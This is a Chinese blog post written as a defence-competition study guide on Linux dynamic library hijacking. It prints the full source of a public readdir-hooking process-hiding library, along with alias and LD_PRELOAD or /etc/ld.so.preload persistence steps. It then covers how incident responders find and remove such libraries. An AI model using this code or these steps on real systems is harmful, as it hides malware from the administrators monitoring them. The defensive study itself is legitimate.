实景防御赛Linux库文件劫持技术浅析

写在前面

很久没写博客了,感觉已经摆烂了很久,所以今天下定决心要把之前遇到的一个点解决掉。

去年打广东省强网杯决赛的时候上午算是安全运维赛,遇到了一道题,和Linux库文件劫持有关,于是趁此机会把这个点讲清楚,也算是问了后面网鼎杯半决赛的RDG(实景防御)复习开个好头。

Linux库文件

在讲库文件劫持之前需要了解Linux的库文件到底是什么。Linux的库文件分为动态库和静态库。

对于静态库文件来说,所有代码在编译的时候就会被加载,因此可执行程序体积较大。

本次主要讨论动态库,在编译时引入动态库(so)并不会将动态库中的代码编译到可执行程序中,而是在可执行程序中记录了对so文件的引用,当执行时,才会去加载so文件,以节省内存空间。

动态库文件加载顺序

  1. gcc 编译时指定的运行时库路径 -Wl,-rpath

  2. 环境变量 LD_LIBRARY_PATH

  3. ldconfig 缓存 /etc/ld.so.cache

  4. 系统默认库位置 /lib /usr/lib

第一个Linux动态库demo

为了模拟赛时场景,需要写一个so文件并且调用,先写一个最简单的demo,后面再将赛时场景加入。

当前有三个文件,分别是main.c add.c add.h

内容分别如下

main.c:

image-20221010224805161

add.c:

image-20221010224824880

Add.h:

image-20221010224840262

add.c中定义了方法adds,返回a+b的值,add.h中给出了方法adds的声明

main.c中调用了adds方法并且输出值

生成so文件

1
gcc add.c -fPIC -shared -o libadd.so

-fPIC是编译选项,PIC是 Position Independent Code 的缩写,表示要生成位置无关的代码,这是动态库需要的特性; -shared是链接选项,告诉gcc生成动态库而不是可执行文件。

1
gcc main.c -L. -ladd -o main

-ladd表示链接libadd.so文件

-L.表示搜索要链接的库文件时包含当前路径。

注意,如果同一目录下同时存在同名的动态库和静态库,比如 libadd.so 和 libadd.a 都在当前路径下, 则gcc会优先链接动态库。

最后生成的为main可执行文件

直接执行会报错,提示

./main: error while loading shared libraries: libadd.so: cannot open shared object file: No such file or directory

出现这个错误的原因是没有找到libadd.so文件,原来Linux是通过 /etc/ld.so.cache 文件搜寻要链接的动态库的。 而 /etc/ld.so.cache 是 ldconfig 程序读取 /etc/ld.so.conf 文件生成的。

所以,需要修改/etc/ld.so.conf文件内容,添加so文件的路径,并且使用ldconfig命令更新。

image-20221010225826208

ldd与nm命令

ldd命令可以查看一个可执行程序依赖的共享库,比如刚才写的libadd.so

image-20221010230125471

nm命令

查看一个库中到底有哪些函数,nm命令可以打印出库中的涉及到的所有符号。

image-20221010230329912

strace命令

strace命令用于跟踪系统调用,常用命令如下

1
strace -o output.txt -T -tt -e trace=all -p 28979

上面的含义是 跟踪28979进程的所有系统调用(-e trace=all),并统计系统调用的花费时间,以及开始时间(并以可视化的时分秒格式显示),最后将记录结果存在output.txt文件里面。

通过strace可以看到调用了哪些动态链接库,例如下面给出的whoami的例子(后面一张图是截的别人的,自己的好像没有看到那么多库)

image-20221010231322097

1
strace /usr/bin/whoami

image-20221010231442938

挖矿场景下的动态库劫持分析

在处理过的挖矿事件中,挖矿程序通常会隐藏真实的挖矿进程,导致通过ps top等命令无法看到挖矿进程。

写一个类似的demo去模拟该场景,我自己服务器性能太差了 跑不动,就把socket连接换成了print ok

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python
import socket
import sys

def send_traffic(ip, port):
print "Sending burst to " + ip + ":" + str(port)
#sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#sock.connect((ip, port))
while True:
# sock.send("I AM A BAD BOY")
print("ok")

if len(sys.argv) != 3:
print "Usage: " + sys.argv[0] + " IP PORT"
sys.exit()

send_traffic(sys.argv[1], int(sys.argv[2])) Let’s go!

python2 evil.py 1.1.1.1 8888

运行之后使用top命令和ps aux 可以看到所运行的进程

image-20221012102734594

image-20221012102751965

接下来挖矿程序的目的是隐藏该CPU/内存占用率过高的进程。

简单地说,ps命令是通过遍历/proc目录获取与进程相关的信息(pid status cmdline等)

进程隐藏方法

alias命令

alias ‘ps’=’ps aux | grep -v python’

这里的python可以换成任意目标字符串或者获取到的pid

替换二进制文件

默认ps的链接文件为

image-20221012103737290

可以通过替换ps命令或者新建连接实现二进制文件替换/修改,如将ps删除,新上传一个恶意的ps,实现进程隐藏。

预加载(preloading)

通过预加载,Linux给了我们一个选项,在其他正常的系统库被加载之前加载一个自定义共享库。这意味着,如果自定义库导出的函数与系统库中的函数名相同,我们就可以用我们库中的自定义代码覆盖它,而所有的进程都会自动选择我们的自定义函数)

例如,通过重写readdir()方法,在去去读/proc目录的时候,刻意隐藏某个进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil.py";

/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}

char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}

buf[ret] = 0;
return 1;
}

/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}

char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}

if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}

fclose(f);

int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}

#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

repo:https://github.com/gianlucaborello/libprocesshider.git

clone下来之后直接make,就可以生成so文件

image-20221012104955791

使用预加载有几种方式:

1.LD_PRELOAD 环境变量

LD_PRELOAD环境变量是会及时生效的,使用LD_PRELOAD加载恶意动态链接库方法如下:

LD_PRELOAD=/lib/evil.so LD_PRELOAD的值设置为要预加载的动态链接库

export LD_PRELOAD 导出环境变量使该环境变量生效

unset LD_PRELOAD 解除设置的LD_PRELOAD环境变量

image-20221012111811033

运行evil.so 并且通过ps查看

image-20221012111901427

Unset LD_PRELOAD后再次通过ps查看

image-20221012111932986

LD_PRELOAD不仅可以通过shell设置后然后export,还可以通过修改bash_profile 永久保存

image-20221012112802802

image-20221012112816426

2./etc/ld.so.preload文件

/etc/ld.so.preload是一种全局性的修改,影响范围比第一种方式更大,可以在该文件中指定so文件,以预加载恶意so文件。

具体操作方法如下:

image-20221012105521366

先看一下刚才执行evil.py时ps的结果,可以看到evil.py

image-20221012105701680

现在再执行evil.py,查看ps aux的结果:

image-20221012110448820

可以看到彻底隐藏了evil.py的进程.

当清空/etc/ld.preload中的内容后,可以看到进程又出现了

image-20221012110606228

广东省强网杯Final-安全运维

题目环境为Linux,当时状况如下:

1.netstat 出现疑似外连行为

image-20221012121912315

2.ps aux发现反弹shell命令

image-20221012121937944

3.通过lsof查看端口 进程信息 无收获

image-20221012122059986

image-20221012122137108

只能找到路径/root/qwb

赛时解

比赛的时候做到这里实在是不知道怎么做了,实际上也没有找到运行的elf文件,最后随意翻了翻翻到了一个so文件,IDA打开之后看到内容就是反弹shell执行的命令,把so文件删掉之后这道题就算是patch了。

正确解

场景1.可以找到可执行文件

通过ldd命令分析可执行文件所调用的动态库文件

image-20221012122414324

这里可以看到有libqwb.so(或者其他奇奇怪怪的so文件名)

将该文件直接删除即可

场景2.找不到可执行文件(so文件不在/usr/lib 或者/lib下)

查看LD_PRELOAD环境变量,是否有可疑文件

查看/etc/ld.so.conf文件内容 是否有可疑路径

image-20221012123323906

最终定位到tmp目录下的so文件,将其删除即可

参考

本文所用demo均可在以下链接中找到

https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/

https://www.cadosecurity.com/linux-attack-techniques-dynamic-linker-hijacking-with-ld-preload/

https://www.freebuf.com/column/162604.html

https://www.freebuf.com/articles/system/223311.html